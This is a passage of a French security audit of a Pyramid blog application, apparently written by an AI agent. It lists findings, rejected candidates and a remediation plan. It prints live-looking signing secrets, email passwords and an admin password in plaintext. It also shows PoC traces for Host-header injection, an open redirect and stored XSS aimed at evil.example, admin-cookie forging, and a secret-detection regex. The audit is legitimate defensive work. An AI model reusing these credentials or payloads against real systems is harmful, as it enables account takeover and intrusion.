13 — Quatre secrets de signature dans l'historique git, jamais rotés

Fichier : ctp_blogr/__init__.py:13, :15

$ git log --all --follow -p -- ctp_blogr/__init__.py
e3d4616 initial upload
+    my_session_factory = SignedCookieSessionFactory('mGcAJn2HmNH6Hc')      <-- FUITE #1
+    authentication_policy = AuthTktAuthenticationPolicy('wMWvAWMZnp6Lch',  <-- FUITE #2
7059553 added came_from to login.jinja2
-    authentication_policy = AuthTktAuthenticationPolicy('wMWvAWMZnp6Lch',
+    authentication_policy = AuthTktAuthenticationPolicy('J2wv322aL5DTn2', <-- actuel, EN GIT
85f8423 merge user_add and user_pwd into user_edit
-    my_session_factory = SignedCookieSessionFactory('mGcAJn2HmNH6Hc')
+    my_session_factory = SignedCookieSessionFactory('hZug2zPt7hT2MZ')      <-- actuel, EN GIT

Les quatre sont récupérables par git grep "<secret>" $(git rev-list --all). Aucun n'a jamais été roté. Le secret de session mGcAJn2HmNH6Hc ayant signé des cookies pendant des années, il faut considérer que des sessions signés avec l'ancien format ont pu être capturés.

CWE : CWE-798, CWE-321, CWE-287. Correctif : rotation immédiate (cf. #01) + purge d'historique.


14 — Identifiant retiré de l'arbre de travail mais toujours présent dans l'historique

$ git log --all --oneline --follow -p -- email_avnes_purge.py
ac4e073 add image BigSur
-conn.login('bureau@avnes.org', 'ConCho#56')
+conn.login('ytranhong@free.fr', 'minhy116')
5ce9066 added scripts for testing smtp and imap
+conn.login('bureau@avnes.org', 'ConCho#56')

Le couple bureau@avnes.org / ConCho#56 a été roté localement — la bonne intention — sans effet : l'ancien couple reste dans 5ce9066 et s'obtient par git show 5ce9066:email_avnes_purge.py.

Cet échec est invisible à tout scan de l'arbre de travail et à .gitignore, ce qui justifie une fiche distincte.

CWE : CWE-522, CWE-798. Correctif : vérifier la rotation côté serveur, git filter-repo --replace-text sur --all, force-push, re-clone.


15 — url_scheme = https en production alors que waitress sert en clair

Fichier : production.ini:32-35

32: [server:main]
33: use = egg:waitress#main
34: listen = *:9280
35: url_scheme = https

url_scheme n'est pas un réglage Pyramid : c'est un réglage waitress qui écrase wsgi.url_scheme sur chaque requête. Vérifié dans la bibliothèque installée :

waitress/adjustments.py:113:  ("url_scheme", str)
waitress/adjustments.py:182:  # default ``wsgi.url_scheme`` value
waitress/adjustments.py:183:  url_scheme = "http"
waitress/parser.py:267:        self.url_scheme = self.adj.url_scheme
waitress/task.py:545:            "wsgi.url_scheme": request.url_scheme,

Aucun listener TLS n'est déclaré : waitress sert du HTTP en clair sur toutes les interfaces. Conséquences :

  • request.is_secure vaut permanemment True — aucune ligne de cette application ne peut jamais détecter une requête reçue en clair. Le symptôme visible est déjà documenté dans AGENTS.md (les redirections de connexion deviennent https://localhost:9280/), mais la moitié pertinente pour la sécurité est que is_secure est devenu un signal inutile.
  • trusted_proxy étant None et clear_untrusted_proxy_headers valant True, waitress supprime X-Forwarded-Proto. Le déploiement « fonctionne » derrière le terminateur TLS nginx uniquement parce que url_scheme le simule.
  • Quiconque atteint *:9280 directement contourne nginx et parle en clair avec l'application, qui ne peut ni le constater ni le refuser.

CWE : CWE-319, CWE-614, CWE-1004. Correctif : supprimer url_scheme = https ; configurer trusted_proxy = 127.0.0.1 et trusted_proxy_headers = x-forwarded-proto pour dériver le schéma d'un en-tête de confiance ; lier listen = 127.0.0.1:9280 ; ajouter secure/httponly aux deux cookies (cf. #12).


16 — setup.py : aucun verrou, aucun hash, waitress non épinglé

Fichier : setup.py:11-33

requires = [
    'plaster_pastedeploy',      # 14 dépendances sur 16 sans aucune contrainte de version
    'pyramid',                  # idem
    'pyramid_jinja2',           # idem
    'pyramid_debugtoolbar',     # idem — installé même en production
    'waitress',                 # idem — le serveur HTTP de production
    'alembic', 'pyramid_retry', 'pyramid_tm',
    'SQLAlchemy==1.4.54',       # seules dépendances épinglées
    'transaction',
    'zope.sqlalchemy==2.0',
    'wtforms', 'webhelpers2', 'passlib', 'markdown',
]

Seuls SQLAlchemy et zope.sqlalchemy sont contraints. Aucun requirements.txt, aucun verrou, aucun --hash, aucun pyproject.toml, aucun python_requires.

Dépendance Risque ici
waitress Serveur HTTP de production — toute la surface d'attaque externe. La plage permise inclut des versions affectées par le cluster d'avis de gestion de requêtes waitress 1.4.0/1.4.1 (CVE-2019-16785/-16786/-16787/-16789 : séquences d'octets invalides, corps multipart invalides, normalisation LF/CR entraînant contournement de proxy / request smuggling). Une reconstruction aujourd'hui résout une version de sémantique différente de celle jamais testée.
pyramid Code écrit pour 2.0.2 ; l'amont publie 2.1 (2026-03-10), qui a refondu l'API de sécurité. Un pip install -e . saute silencieusement une version majeure.
passlib Dernière version 1.7.4 (2020), projet non maintenu — seule dépendance de hachage des mots de passe.
pyramid_debugtoolbar Installé inconditionnellement en production, « désactivé » seulement par l'absence de pyramid.includes.
markdown, webhelpers2, wtforms Adjacentes au rendu et à l'autorisation ; résolution non bornée.
python_requires absent Rien n'empêche une installation sur Python 3.13+ où passlib 1.7.4 échoue à l'import. L'environnement casse silencieusement au lieu d'être refusé.

CWE : CWE-1104, CWE-1357. Correctif : ajouter python_requires='>=3.10' ; épingler toutes les entrées sur les versions effectivement déployées ; committer un verrou avec hashes ; déplacer pyramid_debugtoolbar dans l'extra testing.


17 — Python 3.9.6 hors support ; Pyramid 2.0.2 sur une branche abandonnée

$ python -c "import sys; print(sys.version)"
python 3.9.6 (default, Nov 11 2024, 03:15:39) [Clang 16.0.0]

Amont (python.org, page de publication 3.9.25) :

« Warning: Python 3.9.25 reached end-of-life on 2025-10-31. It is no longer supported and does not receive security updates. »

L'interpréteur est donc non corrigé depuis environ 11 mois. Il est de plus figé à 3.9.6 (février 2022) : il n'a même pas reçu les livraisons « correctifs de sécurité uniquement » et manque donc d'environ quatre ans de correctifs CPython. README.md documente « Python 3.9.6 » comme exigence : c'est délibéré, pas une dérive.

Pyramid 2.0.2 (2023-08-25) est le dernier de la branche 2.0 ; la branche maintenue est 2.1 (2026-03-10). setup.py:13 n'épingle pas Pyramid : le dépôt revendique 2.0.2 alors que toute reconstruction obtient 2.1.

CWE : CWE-1104. Correctif : passer à un CPython maintenu (3.12+), aligner Pyramid sur la branche maintenue, adapter l'usage de AuthTktAuthenticationPolicy (2.1 introduit pyramid.csrf.* que le code actuel n'utilise pas), et mettre à jour le bloc « Add-on requis » de README.md.


MOYENNES

18 — Injection d'en-tête Host dans le HTML rendu

Fichier : ctp_blogr/views/blog.py:20

body = entry.body.replace('static/', "%s/static/" % request.application_url)

request.application_url dérive de l'en-tête Host sans aucune validation (trusted_hosts absent de la configuration). PoC exécuté :

[HOST: evil.example] -> HTTP 200
   http://evil.example/static/mythosaur_skull_red.ico    <-- INJECTÉ
   http://evil.example/static/theme.css                    <-- INJECTÉ
   http://evil.example/static/mythosaur_skull_60x150.png  <-- INJECTÉ
   'evil.example' présent dans le HTML : True

Toutes les URL absolues de la page (CSS, icônes, images des billets) sont réécrites vers le domaine de l'attaquant, qui peut aussi réécrire les redirections produites par request.route_url().

CWE : CWE-644 / CWE-1021. Correctif : définir pyramid.trusted_hosts et passer l'URL d'application par une valeur de configuration, non par l'en-tête.


19 — Base de production lisible par tous les comptes locaux

$ ls -l ctp_blogr.sqlite
-rw-r--r--  1 phuoc  staff  622592 ctp_blogr.sqlite
$ grep sqlalchemy.url production.ini
sqlalchemy.url = sqlite:///%(here)s/ctp_blogr.sqlite

Mode 0644 et chemin identique au fichier versionné : tout compte local lit les deux hachages de mots de passe (l'un cassé par #02), les 47 corps de billets privés et les tables d'époque actifs/histo/allocation contenant des positions financières (valeur_pf, pc_allocation, rendement).

CWE : CWE-732, CWE-922. Correctif : chmod 600, exécuter waitress sous un compte de service dédié, et sortir la base de production de l'arborescence du dépôt.


20 — La branche de suppression d'utilisateur est du code mort (NameError)

Fichier : ctp_blogr/views/default.py:141-144

141:    if 'form.deleted' in request.params:
142:        delete(request, user.id)          # ← `delete` n'existe pas dans ce module
143:        request.session.flash("La fiche a été supprimée avec succès.", 'success')
144:        return HTTPFound(location=url_retour)

Les imports de default.py (lignes 1-10) ne contiennent aucune fonction delete — il s'agit manifestement d'un oubli de refactoring (UserService.delete existe, views/blog.py importe BlogRecordService). PoC exécuté :

[F] phuoc GET /user_edit/phuoc?form.deleted=1 -> HTTP 200
  File "ctp_blogr/views/default.py", line 142, in user_edit
    delete(request, user.id)
NameError: name 'delete' is not defined

Ce n'est pas une vulnérabilité exploitable — c'est un trou dans la couverture de tests. Le chemin de suppression d'un compte n'a jamais été exercé, ce qui explique qu'il soit resté cassé. Le contrôle d'accès prévu (supprimer un utilisateur) n'est en réalité protégé par rien. À traiter comme un signal : la suppression d'utilisateurs doit être réimplémentée avec un contrôle manage explicite, pas simplement corrigée.


21 — Nom de route non validé provenant de l'URL → KeyError / 500

Fichiers : ctp_blogr/routes.py:6 · ctp_blogr/views/blog.py:101-106

# routes.py:6
config.add_route('blog_bytag', '/blog_bytag/{tag}/{retour}')     # {retour} : aucune contrainte

# views/blog.py:104-106
retour = request.matchdict['retour']
url_retour = request.route_url(retour)      # KeyError non géré si le nom n'existe pas

PoC exécuté :

/blog_bytag/programming/home          -> HTTP 200
/blog_bytag/programming/notfound_view -> KeyError: 'No such route named notfound_view'

Le gabarit de route n'accepte que [^/]+, donc ni traversée de chemin ni injection. L'effet est une KeyError non gérée renvoyée en 500 — et, en development.ini, la barre de débogage qui transforme l'exception en HTTP 200 et expose la trace, ce qui la rend moins exploitable qu'elle n'y paraît en développement. En production, l'exception est renvoyée à l'ATG de Pyramid ; le comportement est à confirmer sur le serveur réel (hors périmètre).

CWE : CWE-20. Correctif : valider retour contre une liste blanche ({'home', 'blog_search'}) avant l'appel à route_url.


FAIBLES

22 — Absence de limitation de tentatives sur /login, mot de passe à 6 caractères minimum

Fichiers : ctp_blogr/views/default.py:37-65 · ctp_blogr/forms.py:32 · ctp_blogr/views/default.py:116-117

Le contrôleur login n'implémente aucun compteur, aucun délai progressif, aucun verrouillage de compte ; aucun composant du dépôt ne le fait non plus. La seule règle de mot de passe est len(password) >= 6 (views/default.py:116), sans exigence de complexité ni de rotation. timeout=36000 (10 heures) sur AuthTktAuthenticationPolicy (__init__.py:16).

CWE : CWE-307, CWE-521. Correctif : limitation de débit par IP et par nom d'utilisateur ; règle de mot de passe renforcée ; réduire timeout.

23 — Slug doublement encodé dans les URL de billets

Fichier : ctp_blogr/models/blog_record.py:26-28, ctp_blogr/views/blog.py:81

webhelpers2.text.urlify produit déjà un slug encodé (%26), que route_url ré-encode (%2526). Observé :

POST /blog_edit/4 -> HTTP 302 -> http://localhost/blog/4/garantie-%2526-entretien-maison

Impact fonctionnel uniquement (le lien fonctionne car le désencodage est appliqué symétriquement). Signalé parce qu'il indique que le slug est stocké/transporté déjà encodé — à ne pas confondre avec un défaut d'encodage de sortie.

24 — .gitignore inopérant sur un fichier suivi (cause racine de #03)

$ git check-ignore -v ctp_blogr.sqlite              # sortie 1 -> .gitignore ne s'applique pas
$ git check-ignore -v --no-index ctp_blogr.sqlite
.gitignore:6:*.sqlite    ctp_blogr.sqlite           # le motif correspond, mais uniquement pour
                                                    # les fichiers non suivis

L'intention et la régression sont visibles dans l'historique :

$ git show --stat 7a2ba16
commit 7a2ba16e2f45b118bbd7269e1524f128b2cd31bd  Fri Feb 17 11:49:53 2023  ignore cao_blogr.sqlite
 cao_blogr.sqlite | Bin 532480 -> 0 bytes

Le développeur a correctement fait un git rm --cached le 2023-02-17. Le commit de renommage f4d6037 (« rename app name to ctp_blogr ») l'a ré-ajouté (git considère le renommage d'un fichier suivi comme un fichier suivi), et la base est suivie depuis, sur 8 commits. C'est la cause proximate de #03.

Aucun pre-commit, aucune CI, aucun linter n'existe dans le dépôt pour rattraper cette classe d'erreur. .omo/ est actuellement non suivi et serait lui aussi commité par un git add -A.

Correctif : après le désindexement, vérifier git ls-files | grep sqlite (doit être vide) et installer un pre-commit bloquant les secrets.

25 — Script d'initialisation non idempotent, message trompeur

Fichiers : ctp_blogr/scripts/initialize_db.py:16-18, :38

16:    model = models.user.User(name=u'admin', password=u'pcao.7513')
...
38:    except OperationalError:
43:    1.  You may need to initialize your database tables with `alembic`.

Deux défauts :

  1. Non idempotent. Le schéma impose CONSTRAINT uq_users_name UNIQUE (name) sur users. Une seconde exécution lève une IntegrityError, qui n'hérite pas d'OperationalError : elle échappe au gestionnaire et produit une trace brute.
  2. Le message est faux. alembic upgrade head ne crée pas le schéma du blog — l'unique migration (ctp_blogr/alembic/versions/20230129_b8f8216d72c7.py) ne crée qu'une table allocation d'époque portfolio. Un opérateur suivant cette instruction obtient un second échec.

CWE : CWE-755, CWE-703. Non exploitable. Correctif : capturer IntegrityError et afficher un message français (« l'utilisateur admin existe déjà ») ; corriger le message pour indiquer que la source du schéma est la base suivie.

26 — rtd.txt obsolète et non installable

Fichier : rtd.txt:1 → pylons-sphinx-themes

Seul fichier de dépendances du projet : il nomme une aide de build ReadTheDocs de l'ère Pylons 1.x, sans rapport avec l'exécution, non installable sur Python moderne. Sa présence est trompeuse : pip install -r rtd.txt est le réflexe naturel et échouera, après quoi l'opérateur se rabattra probablement sur des installations non contraintes (cf. #16). pytest.ini et .coveragerc (qui indique encore source = pyramid_blogr, nom d'avant-rename) sont dans le même état mais sans impact sécurité — signalés uniquement comme contexte de #16.

Correctif : supprimer rtd.txt ou le remplacer par un vrai fichier de dépendances épinglées.


Candidats écartés ou requalifiés

Candidat Raison du rejet / requalification
XSS via {{ message }} (flash) dans layout.jinja2:80 Rejeté. autoescape=True est actif ; les flash contiennent bien des valeurs issues de l'URL (views/blog.py:16, :58, :107, :169) — tentatives de XSS réfléchi neutralisées par l'échappement.
XSS via came_from dans login.jinja2:10 Rejeté comme XSS. Valeur entièrement contrôlée par l'attaquant, mais rendue dans un attribut à double quotes sous autoescape : pas de breakout. Le sink réel est Python — requalifié en #11 (open redirect).
javascript: dans <img src="{{ cartoon_url }}"> (home.jinja2:8) Rejeté. Valeur issue de entries.body (modifiable), mais échappée, et les navigateurs n'exécutent pas javascript: dans img src.
Injection SQL Rejeté. Aucune concaténation SQL. by_criteria (services/blog_record.py:15) utilise .like(search) — SQLAlchemy lie le paramètre. Le % et _ de l Criteria ne sont un problème que de motif, pas d'injection.
XSS via les champs WTForms ({{ form.criteria(...) }}, etc.) Rejeté. Les widgets WTForms contournent volontairement l'autoescape via __html__, mais échappent eux-mêmes les valeurs (wtforms/widgets/core.py:82 → html_params → escape). Vérifié sur wtforms 3.2.1 installé.
Réflexion XSS via {tag} dans page_title (views/blog.py:113) Rejeté. page_title est rendu par layout.jinja2:10 et :72 sous autoescape.
Désérialisation pickle de la session (CWE-502) Rejeté. SignedCookieSessionFactory utilise le sérialiseur JSON par défaut ; aucun serializer n'est passé, aucun pickle dans les .ini.
Debugtoolbar exposé en production Requalifié en absence de risque. development.ini:14-15 l'active, mais pyramid_debugtoolbar/__init__.py:22 fixe default_hosts = ('127.0.0.1', '::1') par défaut, l'override est commenté (development.ini:23) et l'écoute est sur localhost:9280 (:40). Boucle locale uniquement.
CSRF sur le formulaire de connexion seul Subordonné. Sans gravité isolément, mais couvert par #09.
retry.attempts = 3 (amplification/écritures dupliquées) Rejeté. pyramid_retry ne réessaie que sur les exceptions déclarées dans retry_exceptions, aucune n'est configurée.
Algorithme de hachage des mots de passe Rejeté. Vrais hachages passlib sha512_crypt à 656 000 itérations. Le défaut est la gestion de la clé (#02), pas l'algorithme.
Clés AWS / PEM / tokens Slack-GitHub Rejeté. git grep -E "AKIA[0-9A-Z]{16}|BEGIN [A-Z ]*PRIVATE KEY|api[_-]?key|xox[baprs]-|ghp_" $(git rev-list --all) sur les 67 commits → zéro résultat.
Reflection d'origine / CORS Rejeté. Aucun réglage trusted_hosts, CORS*, allow_origin. Pyramid 2.0 n'a pas de CORS intégré, rien n'est bricolé.

Risques résiduels

Non testés, et pourquoi :

  1. Configuration nginx / TLS / coupe-feu — hors dépôt. Or #15 montre que l'application dépend de nginx pour le TLS ; la configuration réelle n'a pas été vérifiée. À vérifier en priorité.
  2. Rotation effective des secrets exposés — inconnue du dépôt. Les mots de passe des VPS, de Bitbucket, d'OVH, d'Azure AD et le certificat OVH doivent être considérés comme compromis tant que la rotation n'est pas prouvée.
  3. Les 47 billets privé n'ont jamais été protégés côté application — le filtrage existe dans trois méthodes de service mais a été contourné dans la quatrième. Une intention de confidentialité explicite existe dans le modèle ; elle n'a jamais été appliquée au chemin de lecture unitaire.
  4. Aucune protection CSRF, aucune limitation de débit, aucune 2FA — l'absence est constatée, mais le comportement sous charge réelle (temps de réponse du hachage sous 656 000 itérations, resistance à un brute-force distribué) n'a pas été mesuré.
  5. Concurrence SQLite + pyramid_retry — non évalué. Le schéma est mono-écrivain ; production.ini:15 n'active pas le WAL. Risque de database is locked en concurrence, le rollback Pyramid n'étant alors plus disponible en cas d'échec.
  6. pyramid_csrf / pyramid 2.1 — la migration vers Pyramid 2.1 (cf. #17) modifiera la politique de sécurité ; les identifiants de sécurité du texte de la présente ne sont pas garantis valides après migration.
  7. Données personnelles / RGPD — les billets 105-107 contiennent des données de caisses sociales, bancaires et fiscales. À considérer au-delà de la sécurité informatique.
  8. Le rapport initial en lecture seule a produit des erreurs 500 — la page / et toutes les pages authentifiées lèvent KeyError: 'No such route named portfolio' (templates/layout.jinja2:50). Cette régression en cours a masqué certains vecteurs d'authentification pendant les tests (ils échouent avant l'affichage), ce qui a réduit la surface observable par l'interface — mais pas la surface réelle, comme le démontrent les PoC 05/06/08/10 qui exploitent précisément les chemins sans rendu de template. Corriger cette régression réanimera des pages qui sont actuellement cassées : la tester avant tout correctif de sécurité.

Plan de remédiation

Ordre # Action Raison de l'ordre
1 02 Rotationner le mot de passe admin immédiatement. Le compte est actif et l'identification est triviale.
2 03, 04, 13, 14 Révoquer et régénérer tous les secrets exposés : mots de passe root des VPS, mots de passe applicatifs Bitbucket, mots de passe OVH + les 4 jeux de codes de récupération, NAS, Ent. Ile-de-France, Dropbox, secret client Azure AD, mots de passe d'application Google, SMTP/IMAP, bureau@avnes.org. Un patch applicatif ne protège pas des secrets déjà copiés.
3 01, 12 Secrets de signature neufs via variables d'environnement ; secure=True, http_only=True sur les deux cookies. Supprime l'authentification forgée et le vol de session. Invalide les sessions ouvertes — souhaitable.
4 05 permission='manage' sur user_edit + comparaison de propriété. Ferme l'escalade de privilèges la plus triviale.
5 07 Filtrer by_id sur status == 'publié' pour les anonymes. Ferme la fuite des 47 billets privés — et du billet 37.
6 06 Assainir le Markdown (bleach/nh3) et supprimer ` safe`.
7 09, 08, 10 CSRF sur toutes les mutations ; actions destructrices en POST ; contrôle de propriété sur blog_edit/tag_edit. Empêche la destruction et la falsification de contenu.
8 11 Valider came_from comme chemin relatif interne. Fermeture de l'open redirect.
9 15, 18 Corriger production.ini (supprimer url_scheme, trusted_proxy, listen = 127.0.0.1:9280), définir trusted_hosts. Rétablit un signal is_secure exploitable.
10 16, 17, 19 Épingler les dépendances, verrou avec hashes, python_requires, sortir la base du dépôt, chmod 600, monter à CPython 3.12+. Assainit la chaîne d'approvisionnement.
11 21, 22, 26 Liste blanche pour {retour}, limitation de débit sur /login, supprimer rtd.txt. Défense en profondeur.
12 20, 23, 24, 25 Réimplémenter la suppression d'utilisateur avec contrôle manage, corriger le slug, désindexer la base, corriger le script d'initialisation. Hygiène ; #24 ferme la cause racine de #03.

Contrôle durable (indispensable)

Faille #03 → #14 → #24 partagent une seule cause racine : il n'existe ni pre-commit, ni CI, ni détecteur de secrets, et .gitignore est le seul contrôle — ineffective sur un fichier suivi. Corriger les secrets sans ajouter cette barrière signifie que le prochain commit réintroduira la même classe d'exposition. pip install pre-commit avec detect-secrets ou gitleaks, plus un CI qui échoue sur le non-respect de pyramid.trusted_hosts et sur l'absence de jetons CSRF.


Journal des commandes (extraits significatifs)

# ---.commit ctp_blogr/__init__.py:15 : le secret HMAC suffit à forger un cookie admin
python -c "from pyramid.authentication import AuthTktAuthenticationPolicy; ..."
#   authenticated_userid : admin
#   effective_principals : [..., 'admin', 'group:administrators']

# --- .scripts/initialize_db.py:16 : le mot de passe commité valide contre la base
sqlite3 -readonly ctp_blogr.sqlite "select id,name,password from users;"
python -c "from passlib.apps import custom_app_context as c; print(c.verify('pcao.7513', h))"
#   True

# --- base du dépôt : 47 billets privés lisibles par un anonyme
sqlite3 -readonly ctp_blogr.sqlite "select status,count(*) from entries group by status;"
#   brouillon|3   privé|47   publié|51

# --- .views/blog.py:9 : aucune permission, aucun filtre de statut -> fuite
ANON GET /blog/2 -> 200 ; ANON GET /blog/4 -> 200 ; ANON GET /blog/6 -> 200

# --- .views/blog.py:22 + templates/blog.jinja2:13 : XSS stockée servie aux anonymes
#     ANON GET /blog/119/x -> 200 ; <script>fetch( présent : True ; onerror=alert(1) : True

# --- .views/default.py:136 :escalade de privilèges
#     phuoc POST /user_edit/admin -> 302 ; hash admin changé ; login admin OK

# --- .views/blog.py:91 : suppression par GET sans CSRF
#     phuoc GET /blog_edit/9?form.deleted=1 -> 302 ; billets 101 -> 100

# --- .views/default.py:56 : open redirect
#     POST /login?came_from=https://evil.example/steal -> 302 Location: https://evil.example/steal

# --- .__init__.py:13,15 : cookies d'authentification
#     auth_tkt=... | HttpOnly:ABSENT | Secure:ABSENT
#     session=...   | HttpOnly:ABSENT | Secure:ABSENT

# --- .views/blog.py:20 : injection d'en-tête Host
#     Host: evil.example -> toutes les URL absolues réécrites vers evil.example

# --- .views/default.py:142 : code mort
NameError: name 'delete' is not defined

# --- historique : secrets et base versionnée
git log --all --oneline -S'pcao.7513'            # 7 commits, depuis initial upload
git log --all --oneline --follow -p -- ctp_blogr/__init__.py   # 4 secrets de signature
git check-ignore -v --no-index ctp_blogr.sqlite  # .gitignore:6:*.sqlite (fichier suivi => sans effet)
git show --stat 7a2ba16                          # git rm --cached correct, annulé par f4d6037

Audit réalisé le 2026-10-01. Aucun fichier du dépôt n'a été modifié ; toutes les écritures de PoC ont porté sur une copie jetable de la base. Le skill security-research n'a pas pu être utilisé tel quel (il exige les outils team_* absents de cette session) ; le même roster logique a été exécuté via des sous-agents parallèles, avec une exigence de preuve : seules les failles avec chemin d'attaque concret et PoC reproductible sont présentées comme vulnerabilities.